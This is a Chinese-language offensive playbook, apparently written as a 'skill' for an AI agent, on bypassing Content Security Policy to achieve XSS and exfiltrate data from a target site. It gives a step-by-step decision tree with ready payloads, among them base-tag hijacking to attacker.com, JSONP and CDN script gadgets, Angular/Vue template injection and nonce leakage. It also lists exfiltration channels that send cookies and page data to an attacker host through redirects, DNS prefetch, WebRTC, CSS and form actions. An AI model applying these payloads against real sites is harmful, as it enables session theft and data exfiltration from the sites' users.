当 XSS 或数据外带被 CSP 拦截时…

在目标站点部署了 CSP、常规 XSS 或数据外带被拦截时，按指令逐项分析策略缺陷并绕过或外带数据。

适用场景

解决思路

1. 先完整读取策略：检查响应头中的 Content-Security-Policy 以及页面中的 <meta http-equiv="Content-Security-Policy">，注意 Content-Security-Policy-Report-Only 只报告不拦截，且多个 CSP（头+meta）会同时生效、取最严格交集。
2. 检查明显弱点：script-src 含 'unsafe-inline' 则常规 XSS 可用；含 'unsafe-eval' 则用 eval/Function/setTimeout(string) 绕过；含 * 或 data: 则用 <script src="data:,alert(1)">；若某些页面完全没有 CSP 头，则去找无 CSP 的页面。
3. 检查缺失指令：无 base-uri 则注入 <base href="https://attacker.com/"> 劫持相对路径脚本；无 object-src 则用 Flash/插件绕过（遗留系统）；无 form-action 则用表单提交外带；无 frame-ancestors 则可点击劫持；connect-src 回退到宽松 default-src 则用 fetch/XHR 外带。
4. 针对 script-src 'self'：寻找同源 JSONP 端点（如 /api/jsonp?callback=alert(1)//）；寻找文件上传点上传 .js 文件后用 <script src="/uploads/evil.js">；在已有同源 JS 中寻找 DOM XSS 汇聚点（innerHTML、eval、document.write）并通过 URL fragment/参数注入；若同源加载了 Angular/Vue 则注入模板表达式；注册同源 Service Worker 拦截并修改响应；用路径混淆如 <script src="/user-content/;/legit.js"> 让 URL 匹配 'self' 但返回用户内容。
5. 针对 script-src 带 CDN 白名单：在 cdnjs.cloudflare.com 上找带回调/eval 的库（如 angular.js 模板注入）；用 cdn.jsdelivr.net 加载任意 npm 包或 GitHub 文件（cdn.jsdelivr.net/npm/attacker-package@1.0.0/evil.js）；用 *.googleapis.com 的 Google JSONP 端点或 Google Maps callback 参数；用 unpkg.com 加载任意 npm 包；用 *.cloudfront.net 共享分发命名空间加载任意 CF 客户的 JS；用 site:googleapis.com inurl:callback 搜索白名单域上的 JSONP 端点。
6. 针对 script-src 'unsafe-eval'：用 [].constructor.constructor('alert(document.cookie)')() 执行代码；若应用把 JSON.parse 结果放入 eval 上下文（如 eval('var x = ' + JSON.parse(userInput))）则可注入。
7. 针对 script-src 'nonce-xxx'：检查 nonce 是否跨请求或对所有用户复用（可预测则重放）；若有 CRLF 注入则注入带已知 nonce 的新 CSP 头或 <script nonce="known">；用悬空标记（如未闭合的 <img src="https://attacker.com/steal?）把含 nonce 的页面内容作为 URL 参数泄露；用 DOM clobbering 覆盖 nonce 检查代码（<form id="nonce"><input id="nonce" value="attacker-controlled">）；寻找受信 nonce 脚本中的 script gadget，它用 DOM 数据创建新 script 元素，则注入该 DOM 数据。
8. 针对 script-src 'strict-dynamic'：若未设 base-uri，注入 <base href="https://attacker.com/"> 使受信父脚本加载的相对路径 ./lib.js 解析到攻击者域；在受信脚本中寻找 script gadget（如 document.createElement('script'); s.src = location.hash.slice(1)）并通过 URL fragment 控制；在受信脚本中寻找读取用户可控 innerHTML 的 DOM XSS，注入的 <script> 会通过 strict-dynamic 继承信任。
9. Angular/Vue 绕过：Angular 用 <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>，Angular >= 1.6 沙箱移除后可直接用 {{constructor.constructor('alert(1)')()}}；Vue 2 带运行时编译器时用 <div id=app>{{_c.constructor('alert(1)')()}}</div> 并加载白名单 CDN 的 vue.js 后 new Vue({el:'#app'})。
10. 缺失 object-src 时：用 <object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash"><param name="AllowScriptAccess" value="always"></object> 或 <embed src="/user-upload/evil.pdf" type="application/pdf">。
11. 缺失 base-uri 时：注入 <base href="https://attacker.com/">，使已有相对路径脚本（如 <script src="/js/app.js">）改为从攻击者域加载，从而绕过 'nonce-xxx'、'strict-dynamic' 和 script-src 'self'。
12. 缺失 frame-ancestors 时：页面可被 iframe 嵌入，实施点击劫持；注意若 CSP 存在但无 frame-ancestors，部分浏览器会完全忽略 X-Frame-Options。
13. 利用 meta 标签 CSP 的局限：meta 无法设置 frame-ancestors、report-uri/report-to、sandbox；若通过 HTML 注入在 DOM 顺序上早于 meta 标签，攻击者的 meta CSP 可能先被处理（浏览器采用先遇到的）；若页面同时有头 CSP 和 meta CSP，两者都生效（最严格者胜）。
14. 当 connect-src、img-src 等被锁死时，改用 CSP 无法阻断的外带通道：DNS prefetch（<link rel="dns-prefetch" href="//data.attacker.com">，CSP 无法阻断 DNS）；WebRTC（new RTCPeerConnection({iceServers:[{urls:'stun:attacker.com'}]})，CSP 无法阻断）；<link rel=prefetch>（常被 CSP 遗漏）；基于重定向（location='https://attacker.com/?'+document.cookie，需 navigate-to，很少设置）；CSS 注入（<style>body{background:url(https://attacker.com/?data)}</style>）；<a ping>（<a ping="https://attacker.com/collect" href="#">click</a>）；触发 CSP 违规让 report-uri 报告携带 blocked-uri 数据；表单提交（<form action="https://attacker.com/"><button>Submit</button></form>）。DNS 外带几乎无法被 CSP 阻断，是最可靠的通道。
15. 按决策树逐项排查：读完整策略→查明显弱点（unsafe-inline/unsafe-eval/*/data:/无 CSP 页面）→查缺失指令（base-uri/object-src/form-action/frame-ancestors/connect-src）→按 script-src 类型（'self'/CDN 白名单/nonce/strict-dynamic）选择对应绕过→若所有脚本执行被阻断则改用悬空标记注入、DNS prefetch、WebRTC、CSS 注入、表单 action 外带。
16. 注意 AI 常犯的错误：default-src 'self' 不限制 base-uri 和 form-action（无回退）；strict-dynamic 存在时主机白名单和 'self' 对脚本加载被忽略，只有 nonce/hash 和信任传播有效；nonce 应有 ≥128 位熵，短或可预测的 nonce 可被暴力猜测；report-uri 违规报告含 blocked-uri、source-file、line-number，会向报告端点控制者泄露内部 URL、脚本路径和页面结构。
17. 若 CSP 阻断脚本但存在 HTML 注入，改用悬空标记注入在无 JS 情况下外带数据（参见 dangling-markup-injection）；若需同时绕过 WAF 和 CSP，结合 waf-bypass-techniques；若 CSP 缺 frame-ancestors，结合 clickjacking。

适用边界 · 注意事项

• 目标站点未部署 CSP 或 CSP 仅处于 Report-Only 模式时，无需绕过，直接利用常规 XSS 即可。
• 没有 HTML 注入或脚本注入点时，本技能的多数绕过技术缺少注入载体，无法落地。
• 目标为现代浏览器且 CSP 同时正确设置 base-uri、form-action、frame-ancestors、object-src 并使用高熵 nonce + strict-dynamic 时，脚本执行类绕过基本失效，只能退回到 DNS/WebRTC 等外带通道。